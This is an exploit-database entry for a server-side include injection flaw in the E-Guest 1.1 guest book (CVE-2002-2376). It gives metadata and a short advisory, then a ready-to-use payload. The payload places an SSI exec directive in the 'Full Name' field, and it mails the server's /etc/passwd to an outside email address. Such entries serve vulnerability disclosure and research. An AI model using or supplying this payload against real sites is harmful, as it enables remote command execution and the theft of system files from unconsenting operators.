E-Guest 1.1 - Server Side Include Arbitrary Command Execution

Author: DownBload
type: remote
platform: linux
port: 
date_added: 2002-06-30 
date_updated: 2012-09-28 
verified: 1 
codes: CVE-2002-2376;OSVDB-59507 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/5129/info

E-Guest guest book is a freely available, open source guest book. It is designed for Unix and Linux operating systems.

E-Guest does not adequately sanitize user-supplied input in guest book entries. Because of this, it is possible to pass along commands via server-side includes that could allow a remote user to execute commands on the local host.

Full Name: HI<!--#exec cmd="/bin/mail downbload@hotmail.com < /etc/passwd"-->